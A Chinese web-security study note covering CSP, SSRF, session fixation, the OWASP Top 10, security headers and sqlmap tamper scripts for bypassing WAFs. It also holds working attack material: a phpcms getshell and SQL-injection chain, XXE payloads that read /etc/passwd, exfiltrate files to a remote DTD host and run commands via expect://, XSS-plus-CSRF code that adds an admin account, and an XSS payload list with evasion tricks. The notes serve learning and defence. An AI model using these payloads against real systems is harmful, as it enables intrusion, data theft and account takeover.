web安全知识点总结

一,解释什么是CSP

为了让web应用程序分出哪些脚本是被第三方注入的,哪些脚本是程序自身的
CSP定义了 Content-Security-Policy HTTP头

Content-Security-Policy:script-src 'self' https://apis.google.com
只允许执行自身和特定url中的脚本

content-src:限制连接的类型(例如XHR、WebSockets和EventSource)
font-src:控制网络字体的来源。例如可以通过font-src https://themes.googleusercontent.com来使用Google的网络字体
frame-src:列出了可以嵌入的frame的来源。例如frame-src https://youtube.com只允许嵌入YouTube的视频。。
img-src:定义了可加载图像的来源。
media-src:限制视频和音频的来源。
object-src:限制Flash和其他插件的来源。
style-src:类似于Script-src,只是作用于css文件。
来源: http://www.jb51.net/html5/57164.html

但是现代浏览器已经通过前缀来提供了支持:Firefox使用x-Content-Security-Policy,WebKit使用X-WebKit-CSP。未来会逐步过渡到统一的标准。

“none”:你可能期望不匹配任何内容
“self”:与当前来源相同,但不包含子域
“unsafe-inline”:允许内联Javascript和CSS
“unsafe-eval”:允许文本到JS的机制例如eval

csp安全性检测 地址
https://csp-evaluator.withgoogle.com/

script-src 'strict-dynamic' 'nonce-rAnd0m123' 'unsafe-inline' http: https:;
object-src 'none';
base-uri 'none';
report-uri https://csp.example.com;

二,什么是SSRF漏洞

SSRF 服务端请求伪造
存在的位置 比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等

那么产生SSRF漏洞的环节在哪里呢?目标网站接受请求后在服务器端验证请求是否合法
1)分享:通过URL地址分享网页内容

2)转码服务

3)在线翻译

4)图片加载与下载:通过URL地址加载或下载图片

5)图片、文章收藏功能

6)未公开的api实现以及其他调用URL的功能

7)从URL关键字中寻找

PHP的常用实现

1)php file_get_contents:

2,php fsockopen():
3,php curl_exec():

读取本地文件
file:///C:/Windows/win.ini
探测内网应用

三,session fixation漏洞

用户登录前后的session_id没有变化则可能存在session fixation漏洞
攻击者X先获取到一个未经认证的session_id ,将其发给用户Y认证,用户认证后服务器没有更新session_id的值,所以X可以凭借此session直接登录用户的账号

四,phpcms两个漏洞

1)getshell

exp "info[content]": ""

info[content] 为什么是content : content =》转到处理函数editor中
php的处理函数

preg_match_all("/(href|src)=(["|']?)([^ "'>]+.($ext))\2/i", $string, $matches)

这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload ()符合这一格式(这也就是为什么后面要加.jpg的原因)。

接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,处理过后$remotefileurls的内容如下:

http://172.17.0.1:8082/shell.txt?.php#.jpg

http://172.17.0.1:8082/shell.txt?.php

可以看到#.jpg被删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。

来源: http://paper.seebug.org/273/
如何获取文件地址
在后续的数据库操作中因为没有content产生报错 返回插入数据库的返回路径。 在status>0的情况下
如果在status<0的情况下(用户名邮箱不合理) 另外在phpsso配置不好的情况下 不存在status
这时需要对文件名爆破 仅仅是时间加上三位随机数

2)wap SQL注入漏洞

http://paper.seebug.org/275/

phpcms/modules/attachment/attachments.php中的swfupload_json函数:
将src参数用safe_replace函数过滤
问题是只过滤了一次 %*27 ==》 %27
处理之后 程序使用json_encode和set_cookie 生成了一个加密的cookie
获取合法的加密值 利用wap模块 只要传入一个siteid就返回一个加密cookie
在phpcms/modules/content/down.php中
将传入的a_k 经过sys_auth 解密 然后使用parse_str() :以&分割符解析并注册变量
$id未初始化 将payload注入id 同时parse_str()可以进行url解码 将%27 变成单引号 带入查询

1,获取已存在的cookie,用于后期生成payload;

2,访问attachments模块中的swfupload_json方法生成payload,在访问的同时post提交刚才获取的cookie;

3,将生成的payload带入content模块中的down方法,最终成功执行SQL注入。

五,OWASP top10

A1 注入
A2 跨站脚本xss
A3 失效的身份认证和会话管理
A4 不安全的直接对象引用
A5 安全配置错误
A6 敏感信息泄露
A7 功能级访问缺失
A8 跨站请求伪造 (CSRF)
A9 含有已知漏洞的组件
A10 未验证的重定向和转发

六,XXE XML外部实体注入(XML External Entity)

https://security.tencent.com/index.php/blog/msg/69
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
内部声明实体
<!ENTITY 实体名称 "实体的值">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">

<?xml version="1.0">
<! DOCTYPE a[
        <! ENTITY  b  SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

恶意引入外部实体

<?xml version="1.0">
<! DOCTYPE a[
        <! ENTITY  % d  SYSTEM "http://ssss/evil.dtd">
        %d;
]>
<c>&b;</c>

evil.dtd
<! ENTITY b SYSTEM "file:///etc/passwd">

payload链接
https://gist.githubusercontent.com/mikeknoop/e7b3c526738b66950eb4/raw/1d46d432ed380abc986cf15028221318b836395b/text.xml
攻击手法:1,如上文读取系统内文件
2,应对不输出的情况下,使用 (这里属于带外数据的手法,与之相关的还有ftp gopher,无效文件名报错 )

 <! ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/issue">
 <! ENTITY % dtd SYSTEM " http://192.168.1.109/evil.dtd">

在远程的evil.dtd中

<! ENTITY % all
"<!ENTITY &#x25; send SYSTEM  'http://192.168.1.122/?file;'>"
> 
%all;

3,执行系统命令
<!ENTITY xxe SYSTEM "expect://id">
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
4,ddos攻击 xml实体爆炸
file:///dev/random file:///dev/urandom file://c:/con/con file:///dev/zero
5,docx xxe
新建docx 用压缩软件打开 ,修改最外面的[Content_Types].xml 插入payload

]>

上传到目标上 点击预览
6,
5,端口扫描

防御:1,

七,XSS结合CSRF添加用户

	var http = new XMLHttpRequest();
	var url = "http://192.168.1.190/admin/adminadd.php?admin=add";
	http.open("post",url,true);
	http.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	http.send("name=kaka&passwd=kaka&remark=kaka&mid=1&adminsubmit=%CC%E1%BD%BB");

	http.onreadystatechange = function(){
		if (http.readState==4 && http.status==200){
			alert(sucess);
		}
	}

八,HTTP协议安全头部

1,X-Content-Type-Options
X-Content-Type-Options: nosniff
让浏览器不自己通过内容判断文件类型 严格按照content-type指定 减少MIME类型混淆
2,x-frame-options: SAMEORIGIN 防止点击劫持
这个响应头支持三种配置:
DENY:不允许被任何页面嵌入;
SAMEORIGIN:不允许被本域以外的页面嵌入;
ALLOW-FROM uri:不允许被指定的域名以外的页面嵌入(Chrome现阶段不支持);
3,HSTS 只能用https访问
strict-transport-security: max-age=16070400; includeSubDomains

九,XSSpayload整理

<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1)/>
'"><img/src=@ onerror=alert(1)/>

' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
` onmouseover=alert(1) x=`
javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
'";alert(1)//
</script><script>alert(1)//
}x:expression(alert(1))
alert(1)//
*/-->'"></iframe></script></style></title></textarea></xmp></noscript></
noframes></plaintext><script>alert(1)</script>

常见的绕过姿势
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41) ==> alert(1)
hex编码

<script>alert("xss");</script> 可以转换为:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
<>== img src=1 onerror=alert(/xss/)u003e
<script> 
var s = " u003e"; 
alert(s); 
</script>

十,sqlamp的tamper

apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于
过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic
obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

原文地址:https://www.cnblogs.com/moonnight/p/6747253.html